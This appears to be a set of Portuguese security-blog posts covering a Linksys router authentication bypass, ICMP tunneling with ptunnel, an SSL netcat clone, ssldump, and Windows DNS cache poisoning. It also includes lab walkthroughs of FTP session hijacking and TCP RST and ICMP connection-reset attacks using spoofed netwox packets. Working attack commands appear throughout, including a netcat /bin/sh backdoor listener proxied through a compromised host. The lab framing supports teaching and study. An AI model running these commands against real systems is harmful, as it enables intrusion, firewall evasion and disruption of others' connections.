RootSecurity

A interface web no Linksys WRT54g router com firmware
1.00.9 não solicita credenciais  quando requisitados
scripts que permite que atacantes acessem features
de administração usando requisições diretas à:

- Advanced.tri
- AdvRoute.tri
- Basic.tri

E muito mais. Recomendo a todos a leitura
to material completo em:

http://www.milw0rm.com/exploits/5926
E recomendo a atualização do Firmware

Good Hacking 4 All.

Ptunnel é uma aplicação que permite que você estabeleça tuneis de comunicação TCP para um host remoto usando ICMP echo request e reply packets, comumente conhecidos como ping quest e replie. A primeira vista pode parecer algo totalmente inútil e fora de mão, mas posso garantir que muitas vezes pode salvar sua vida. O exemplo abaixo ilustra bem a principal motivação para utilizar o ptunnel.

Exemplo: Você esta conectado através de uma rede wireless aberta. A rede dá a você um endereço IP, porém o firewall não permite que você envie pacotes TCP ou UDP para o resto da internet, assim você não consegue conectar-se ao seu servidor de e-mail. O que fazer? Você percebe que os pacotes ICMP estão liberados no firewall e você consegue pingar qualquer host na internet. Com o Ptunnel você pode utilizar esta falha na configuração do firewall e acessar o seu email, ou fazer qualquer outra coisa que necessidade de comunicação TCP.

Como funciona

Esta é uma descrição técnica sobre como o ptunnel funciona. Se você não está interessado em low-level networking hacking você pode pular esta sessão. Ptunnel trabalha tunelando conexões TCP através de pacotes ICMP. Neste sentido vamos falar um pouco sobre o proxy, o client e os acessos de Destino. O proxy é o “endpoint” de nossos pacotes ICMP, exemplo, o computador para onde enviamos os Pings. O client é o computador que irá tentar surfar através do tunnel e o Destination é o computador que queremos acessar através da comunicação TCP (um web site ou um servidor SSH em algum lugar).

Desta forma esclarecido, para efetuarmos a comunicação desejada precisamos ter a habilidade de enviar e receber pacotes icmp. Muitos sistemas operacionais permite que façamos isto utilizando raw-sockets. Raw Sockets é o mecanismo mais interessante para enviar pacotes ICMP, e é utilizado tanto pelo Proxy quanto pelo Client. Infelizmente raw sockets precisam que você tenha acesso de root. Caso você não tenha acesso root poderá utilizar o standard datagram sockets. Ptunnel suporta o uso do standard datagram porém não é recomendado para uso.

O cliente irá efetuar todas suas comunicações utilizando ICMP echo request (ping) packet (tipo 8), o qual o proxy irá echo reply packet (tipo 0). Em teoria, é possivel utilizar o proxy usando apenas pacotes echo request , mas estas requisições não necessariamente encaminhadas para o cliente através da rede, sendo assim não são utilizadas.

Múltiplas Conexões

O proxy pode gerenciar multiplas diferente conexões utilizando o ICMP identifier field. O cliente irá randomicamente gerar um identificar quando a sessão iniciar, e o host remoto irá utilizar este identificar para associar os pacotes com esta conexão. O mecanismo não é totalmente a prova de falhas, mas funciona razoavelmente bem, desde que duas instancias de conexão não utilizem o mesmo identificador (o ICMP não tem mecanismos para reportar este tipo de erro).

Perda de pacotes

O Ptunnel gerencia a perda de pacotes re-enviando os pacotes perdidos. Conforme ele envia os pacotes ele irá incrementar o sequence number. Tanto o client quanto o proxy mantem suas proprias sequencias, e também um número indicando o ultimo numero de sequencia que foi obtido pelo host remoto.

Veja que o proxy irá somente enviar o primeiro pacote que falta. Quando o pacote é recebido, ele pode re-enviar o próximo pacote, dependendo de quantos pacotes serão recebidos.

Usando o Ptunnel

Client: ./ptunnel -p <proxy address> -lp <listen port> -da <destination address> -dp <destination port> [-c <network device>] [-v <verbosity>] [-f <logfile>] [-u] [-x password]

Proxy: ./ptunnel [-c <network device>] [-v <verbosity>] [-f <logfile>] [-u] [-x password]

A opção –s seta o endereço do host onde o proxy está rodando. Um rápido teste para verificar se o proxy está funcionando e simplesmentes pingar o host, se receber os replies você está pronto para fazer o tunnel funcionar.

As opções –lp, -da e –dp irão se referir para a porta local que ficará escutando, o destination address e a destination port. Vamos supor que você deseja tunelar conexões SSH da máquina cliente via proxy que roda em proxy.pingtunnel.com para o computador login.domain.com, você pode utilizar esta forma:

sudo ./ptunnel -p proxy.pingtunnel.com -lp 8000 -da login.domain.com -dp 22

Uma conexão ssh para login.domain.com pode agora ser estabelicida assim:

ssh -p 8000 localhost

Caso o ssh reclame de potencial ataque de man-in-the-middle, simplesmente remova a chave de know_hosts. Este erro irá acontecer caso você ja tenha acessado o “localhost” via ssh, ou tenha utilizado o ptunnel para conexões com outros hosts.

É claro que para que tudo isto acima funcione você deve iniciar o proxy em seu computador remoto (proxy.pigtunnel.com) fazendo simplesmente:

sudo ./ptunnel

Para proteger você mesmo de que outros utilizem seu proxy, você pode proteger o acesso com uma senha usando a opção –x. A senha nunca é enviada em clear text, mas tenha em mente que ela poderá ser vista por ferramentas como top ou ps que podem mostrar a command line usada para iniciar a aplicação.

Finalizando, a opção –u irá tentar rodar o proxy no modo não privilegiado (quando não se tem root access).

Download

A versão atual do ptunnel é a 0.61, o source pode ser baixado aqui.

Good Hacking 4 All

Todos já conhecem o que é o netcat (escrito por Hobbit em 1996), como usá-lo e que foi integrado nos sistemas UNIX a bastante tempo. Esta versão em Perl adiciona ao Netcat algumas possibilidades que o mesmo não tem. Por exemplo, suporte SSL, TCP e UDP Proxying e IPv4/IPv6 proxying.

Uso

SSL Capable NetCat 1.00

Usage: scnc [-options] target port

-c use SSL (default to not)

-a use SSL certificate authority file

-f use SSL certificate file (PEM format)

-k use SSL private key file (PEM format)

-t do telnet negociation (default to not)

-6 use IPv6 (default to not)

-e cmd command to execute

-l listen for connections (default to not)

-p port use local port number (default to random high)

-s address use address for bindings (default to all addresses)

-u use UDP socket (default to TCP)

-v be verbose (default to not)

-r host:port proxy connection to host:port

-r host:port:ipv6 proxy connection to host:port using IPv6

-r host:port::ssl proxy connection to host:port using SSL

-r host:port:ipv6:ssl proxy connection to host:port using IPv6 and SSL

Download

scnc

Exemplos de Uso

Protegendo conexões com túneis SSL

Você tem um servidor e um client (obviamente) que você controla. Você tem um serviço que não suporta SSL más você deseja estabelecer uma conexão SSL para evitar que em algum peer seja possível ler sua comunicação. A solução é criar um SSL tunnel (como se fosse o ssltunnel ou o stunnel).

• Server side (scnc irá escutar na porta 10000/TCP usando SSL e irá redirecionar o tráfego para localhost porta 110/TCP):

prompt$ scnc -vc -a ca.pem -f server.pem -k server-key.pem -p 10000 -r localhost:110

server: SSL listening on: 0.0.0.0:10000 (IPv4)

• Client side (scnc irá escutar em localhost porta 1110/TCP e irá redirecionar o tráfego para o servidor porta 10000/TCP usando SSL):

prompt$ scnc -v -s localhost -p 1110 -r server:10000::ssl

server: listening on: 127.0.0.1:1110 (IPv4)

Agora você pode utilizar seu client side application e usar o localhost e a porta 1110/TCP como endereço do servidor. Todo o tráfego irá ficar seguro por SSL.

Proxying SSL para acessar tráfego em Clear Text

Supomos que você está auditando um Web Server que suporta apenas HTTPS. Você deseja usar seu Sniffer Clássico ou uma ferramenta para Proxy (WebScarab/Paros). Você precisa remover a criptografia SSL para facilitar sua vida.

• Cliente side irá se tornar um SSL proxy (scnc irá escutar em localhost porta 1443/tcp e irá redirecionar o tráfego para o servidor que será auditado na porta 443/tcp usando SSL assim como os client Certificates):

prompt$ scnc -v -r audited-server:443::ssl -a ca.pem -f client.pem -k client-key.pem -s localhost -p 1443

server: listening on: 127.0.0.1:1443 (IPv4)

• Client side Exemplo:

prompt$ scnc -v localhost 1443

client: connected to: 127.0.0.1:1443 (IPv4)

GET / HTTP/1.0

HTTP/1.1 302 Found

Date: Thu, 27 Apr 2008 11:25:50 GMT

Server: Apache

…

Você agora pode usar sua ferramenta clássica de auditoria e usar o localhost com porta 1443/TCP como target server. Todo tráfego para localhost 1443/tcp será em Clear Text.

UDP proxying

Digamos que você tenha um server escutando na porta 31337/UDP, com uma backdoor de /bin/bash. Essa porta é filtrada por um firewall e você PRECISA usar alguma técnica de Port Forwarding porque o único IP Address permitido é o 192.168.10.200. Este IP address tem um serviço (uma aplicação Web escrita em PHP que permite você fazer upload e executar um comando). Isto poderia ser game over para este host, mas você não está interessado nele e quer apenas usar um caminho mais fácil. Você pode exploitar estar vulnerabilidade e primeiramente enviar o sncn, depois executa-lo com os parametros de proxying.

• Backdoored target (172.16.10.1:31337/UDP):

prompt$ scnc -vul -e /bin/sh -p 31337

server: listening on: 0.0.0.0:31337 (IPv4)

• Proxying host vulnerável (192.168.10.200:9000/UDP):

prompt$ scnc -vu -r 172.16.10.1:31337 -p 9000

server: listening on: 0.0.0.0:9000 (IPv4)

• Attacking host:

prompt$ scnc -vu 192.168.10.200 9000

client: connected to: 192.168.10.200:9000 (IPv4)

sh: turning off NDELAY mode

id

uid=1000(user) gid=1000(users) …

Você tem agora um tunnel UDP proxied e totalmente funcional. Se você tem um acesso TCP, claro que você usará TCP proxying.

Test SSL certificates

Se você deseja testar as features SSL, você pode baixar os seguintes certificados:

• CA certificate
• Server certificate
• Server key
• Client certificate
• Client key3

Espero que tenham gostado e Good Hacking 4 All.

SSLdump e um SSL/TLS network protocol analyzer. Ele analisa as conexões TCP na rede onde você está coletando o tráfego e tenta interpretar o tráfego SSL/TLS. Quando ele identifica o tráfego SSL/TLS, ele decodifica os pacotes gravados e depois mostra eles em forma de saída de texto no stdout.

Caso o atacante tenha uma copia dos certificados que estão sendo utilizados na comunicação, o ssldump consegue inclusive descriptografar as conexões e mostrar o data traffic da aplicação.

ssldump 0.9b3

A versão atual do ssldump é a 0.9b3

Download disponível aqui

Documentação Extra aqui.

Exemplos de utilização

ssldump -i le0 port 443

ssldump -i le0 port 443 and host romeo

ssldump -Ad -k ~/server.pem -p foobar -i le0 host romeo

Exemplo de saída

Abaixo segue um exemplo do trace gerado pelo ssldump.

New TCP connection #3: localhost(363  <-> localhost(4433)
3 1  0.0738 (0.073    C>S  Handshake      ClientHello
3 2  0.0743 (0.0004)  S>C  Handshake      ServerHello
3 3  0.0743 (0.0000)  S>C  Handshake      Certificate
3 4  0.0743 (0.0000)  S>C  Handshake      ServerHelloDone
3 5  0.0866 (0.0123)  C>S  Handshake      ClientKeyExchange
3 6  0.0866 (0.0000)  C>S  ChangeCipherSpec
3 7  0.0866 (0.0000)  C>S  Handshake      Finished
3 8  0.0909 (0.0043)  S>C  ChangeCipherSpec
3 9  0.0909 (0.0000)  S>C  Handshake      Finished
3 10 1.8652 (1.7742)  C>S  application_data
3 11 2.7539 (0.8887)  C>S  application_data
3 12 5.1861 (2.4321)  C>S  Alert          warning          close_notify
3    5.1868 (0.0007)  C>S  TCP FIN
 
3    5.1893 (0.0024)  S>C  TCP FIN

Este exemplo usa a flag para decodificação minima. SSLdump tem flags que permitem decodificar todas as mensagens, incluindo o application protocol data.

O SSLdump consegue descriptografar o tráfego entre 2 hosts se as seguintes condições ocorrem:

1. ssldump tem as chaves.
2. Static RSA foi usado.

1 5  0.4129 (0.1983)  C>S  Handshake      ClientKeyExchange
1 6  0.4129 (0.0000)  C>S  ChangeCipherSpec
1 7  0.4129 (0.0000)  C>S  Handshake
1 8  0.5585 (0.1456)  S>C  ChangeCipherSpec
1 9  0.6135 (0.0550)  S>C  Handshake
1 10 2.3121 (1.6986)  C>S  application_data
1 11 2.5336 (0.2214)  C>S  application_data
1 12 2.5545 (0.0209)  S>C  application_data
1 13 2.5592 (0.0046)  S>C  application_data
1 14 2.5592 (0.0000)  S>C  Alert

O SSLdump consegue trabalhar com SSLv1, SSLv2 e SSLv3 e TLS.

Espero que tenham gostado.

Good Hacking 4 All.

O Microsoft Windows DNS Stub Resolver (componente no windows responsável pelas queries de upstream para DNS server, e que é utilizado para resolução de endereços na maioria dos programas que o Windows utiliza, ex browsers) envia solicitações DNS previsíveis em relação ao DNS Transaction ID e a porta de origem UDP.

Este tipo de comportamento permite muitos ataques interessantes nos Clients desses DNS, incluindo DNS Cache Poisoning no Cache Local dos Clients (que é gerenciado pelo componente de Stub Resolver), assim como ataques de DNS Drive by Pharmming.

Todos os sistemas Windows Vista, Windows XP SP2, windows 2003 e windows 2000 SP4 são vulneráveis a este tipo de ataque.

No dia 30 de Abril de 2007 a Microsoft foi informada sobre este tipo de falha. Um Bulletin da Microsoft (MS08-020) trata justamente desta questão (pouco tempo né ?).

Existe uma documentação muito interessante e completa sobre este tipo de técnica “Microsoft Windows DNS Stub Resolver Cache Poisoning” que pode ser baixada aqui:

http://www.trusteer.com/docs/windowsresolver.html

* netwox 7 -device “Eth3″ -filter “port 20 or port 21″
* netwox 76 -dst-ip 192.168.27.129 -dst-port 32770
* netwox 40 -ip4-dontfrag -ip4-ttl 5 -ip4-src 192.168.27.129 -ip4-dst 192.168.27.128 -tcp-src 32270 -tcp-dst 21
-tcp-seqnum 2461838162 -tcp-acknum 620603129 -tcp-urg -tcp-ack -tcp-window 32577 -tcp-data “50 57 44 0d 0a” -spoofip “best”

Usando a sequencia de comando acima é implementada uma Session Hijacking. O Lab envolve uma conexão FTP
entre duas maquinas VMware (ubuntu e minix) e a maquina ubuntu atua como atacante.

O atacante consegue executar comandos arbitrários de FTP na máquina server, porém a máquina que inicializou
a comunicação foi a minix e apenas recebe um reply.

Se a máquina estiver inativa ocorre um ping pong de pacotes TCP trocados entre os dois hosts.

Considere o seguinte cenário: A está conectada em B via FTP. Digamos que X é o SEQ_NUM e Y é o ACK_NUM de A para B.
Acora o atacante envia um pacote spoffado para B com o SEQ_NUM X e ACK_NYM Y. B responde com o SEQ_NUM=Y+$n_1$(tamanho da mensagem)
e ACK_NUM=X+$n_2$. A recebe o pacote, mas como tem pacotes com o SEQ_NUM=x, ele envia então um pacote com o SEQ_NUM=x+1 e ACK_NUM=y.

Desta forma A e B continuam a inumdar um ao outro com pacotes :-P.

Agora se A está ativo ele irá mostrar o display output do comando enviado pelo atacante. Então se fizermos
um synflood em A usando o netwox-too 76 (como mostrado acima), A continuará a receber o output, contudo um pouco
mais atrasado. Uma verdadeira session hijacking será possivel somente se usarmos um MITM (Man-in-the-middle) Attack.
O screenshot a seguir mostra o output do comando enviado pelo atacante sendo direcionado para o host.

O ataque de TCP RST consiste em sabendo que uma determinada conexão está ativa, é possivel enviar um pacote tcp contendo a flag RST,
basta conhecer o tcp-seqnum para encaminhar o RST flag com um source spoofado, forjando ser o host legítimo onde a conexão está feita.

Para isto podemos utilizar o netwox que é uma ferramenta muito muito muito boa, eu arrisco dizer que esta sim é o canivete suiço para tcp-ip
e qualquer outro protocolo porque alem de um Packet-fuzzer ele é um Sniffer muito bom e um packet-analizer completo.

netwox 78 -device “Eth3″ -spoofip “best” -ips “192.168.27.129″

Esta tool vai resetar todas as conexões vindas do IP Address 192.168.27.29. Sobretudo, estará também fazendo framing dos
ip packets com o número apropriado para os pacotes SYN e ACK assim como os port numbers, com o RST Flag setado.
Para gerar o pacote RST que matará todas as conexões com o host, podemos ver o pacote que a tools gera:

Ethernet________________________________________________________.
| 00:0C:29:E5:47:4D->00:50:56:E5:6D:53 type:0×0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×0028=40___________|
| id |r|D|M| offsetfrag |
|___________0×001E=30___________|0|1|0|________0×0000=0_________|
| ttl | protocol | checksum |
|____0×40=64____|____0×06=6_____|____________0xCB95_____________|
| source |
|________________________192.168.27.128_________________________|
| destination |
|_________________________128.230.18.14_________________________|
TCP_____________________________________________________________.
| source port | destination port |
|__________0×0ABF=2751__________|___________0×0016=22___________|
| seqnum |
|_____________________0×30E40A46=820251206______________________|
| acknum |
|_________________________0×00000000=0__________________________|
| doff |r|r|r|r|C|E|U|A|P|R|S|F| window |
|___5___|0|0|0|0|0|0|0|0|0|1|0|0|___________0×0000=0____________|
| checksum | urgptr |
|_________0xFAC4=64196__________|___________0×0000=0____________|

Isto pode ser conseguido manualmente sniffando a rede e depois enviando o pacote TCP Apropriado. O mesmo efeito é conseguido usando a opção de ferramenta 7
seguida pela ferramenta 78:

netwox 7 -device “Eth3″
netwox 40 -ip4-src 128.230.18.14 -ip4-dst 192.168.27.128 -tcp-src 22 -tcp-dst 3538 -tcp-seqnum 1713790563 -tcp-acknum 1277156939 -tcp-rst -tcp-window 0 -tcp-urgptr 0

O Pacote Gerado foi:

Ethernet________________________________________________________.
| 00:00:00:00:00:00->00:0C:29:E5:47:4D type:0×0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×0028=40___________|
| id |r|D|M| offsetfrag |
|_________0xE130=57648__________|0|0|0|________0×0000=0_________|
| ttl | protocol | checksum |
|____0×00=0_____|____0×06=6_____|____________0×6A83_____________|
| source |
|_________________________128.230.18.14_________________________|
| destination |
|________________________192.168.27.128_________________________|
TCP_____________________________________________________________.
| source port | destination port |
|___________0×0016=22___________|__________0×0DD2=3538__________|
| seqnum |
|_____________________0×66265E63=1713790563_____________________|
| acknum |
|_____________________0×4C1FDE4B=1277156939_____________________|
| doff |r|r|r|r|C|E|U|A|P|R|S|F| window |
|___5___|0|0|0|0|0|0|0|0|0|1|0|0|___________0×0000=0____________|
| checksum | urgptr |
|_________0×43E7=17383__________|___________0×0000=0____________|

Ambos os tipos de ataques podem ser utilizados, em ambos os casos a conexão é quebrada e recebemos um Error Message.

O ataque de ICMP Blind Connection Reset consiste em enviar pacotes forjados a partir de uma origem que comunica-se
com outro host, afim de efetuar o reset na comunicação enviando pacotes ICMP com a flag ICMP-type-3.

Usaremos 2 tools do Netwox para executar este ataque.

* netwox 41 -ip4-dontfrag -ip4-src gamera.syr.edu -ip4-dst 192.168.27.129 -icmp-type 3 -icmp-code 4 -spoofip “best”

Esta tool apenas envia pacotes ICMP type code 4 para a máquina alvo com o ip spoofado do host gamera.syr.edu,
a maquina alvo está conectada ao gamera via SSH. O pacote IP malicioso não foi atachado no pacote enviado para o Host.
O Host aparentemente ignora a mensagem porém a conexão é perdida. O Pacote gerado foi o seguinte:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×001C=28___________|
| id |r|D|M| offsetfrag |
|__________0×12F2=4850__________|0|1|0|________0×0000=0_________|
| ttl | protocol | checksum |
|____0×00=0_____|____0×01=1_____|____________0xF8D1_____________|
| source |
|_________________________128.230.18.14_________________________|
| destination |
|________________________192.168.27.129_________________________|
ICMP4_destination unreachable_fragmentation needed______________.
| type | code | checksum |
|____0×03=3_____|____0×04=4_____|_________0xFCFB=64763__________|
| reserved |
|_________________________0×00000000=0__________________________|
| bad IP packet : |

Both Minix and Linux were immuned to this fake message.
* netwox 82 -device “Eth3″ -code 4 -src-ip 192.168.27.129 -spoofip “best”
Esta ferramenta monitora o trefago e depois atacha os primeiros 64 bytes do pacote TCP enviado na mensagem ICMP.
Esta tool é muito poderosa e com ela é possivel quebrar a comunicação tanto em sistemas Linux quando Minix3. O pacote gerado
pela ferramenta é o seguinte:

Ethernet________________________________________________________.
| 00:0C:29:B5:47:DE->00:0C:29:B5:47:DE type:0×0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×0038=56___________|
| id |r|D|M| offsetfrag |
|__________0×24B0=9392__________|0|0|0|________0×0000=0_________|
| ttl | protocol | checksum |
|___0xFF=255____|____0×01=1_____|____________0xDEC1_____________|
| source |
|________________________192.168.27.129_________________________|
| destination |
|________________________192.168.27.129_________________________|
ICMP4_destination unreachable_host______________________________.
| type | code | checksum |
|____0×03=3_____|____0×01=1_____|_________0×7E66=32358__________|
| reserved |
|_________________________0×00000000=0__________________________|
| bad IP packet : |
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×0058=88___________|
| id |r|D|M| offsetfrag |
|__________0×008A=138___________|0|1|0|________0×0000=0_________|
| ttl | protocol | checksum |
|____0×05=5_____|____0×06=6_____|____________0×05F9_____________|
| source |
|________________________192.168.27.129_________________________|
| destination |
|_________________________128.230.18.14_________________________|
80 01 00 16 d0 9d 2d e3 # ……-.

Com este pacote formatado é possivel quebrar a conexão entre duas maquinas. Porém se você sniffar verá que o code de
pacote que ele reporta é o 1 e não o 4, como se o ataque não tivesse sido realizado.
Abaixo segue o codigo fonte que faz este tipo de ataque possível.

O algoritmo é algo similar a isto:

case ICMP_FRAG_NEEDED:
if (ipv4_config.no_pmtu_disc) {
LIMIT_NETDEBUG(KERN_INFO “ICMP: %u.%u.%u.%u: “
“fragmentation needed “
“and DF set.\n”,
NIPQUAD(iph->daddr));
} else {
info = ip_rt_frag_needed(iph,
ntohs(icmph->un.frag.mtu));
if (!info)
goto out;
}
break;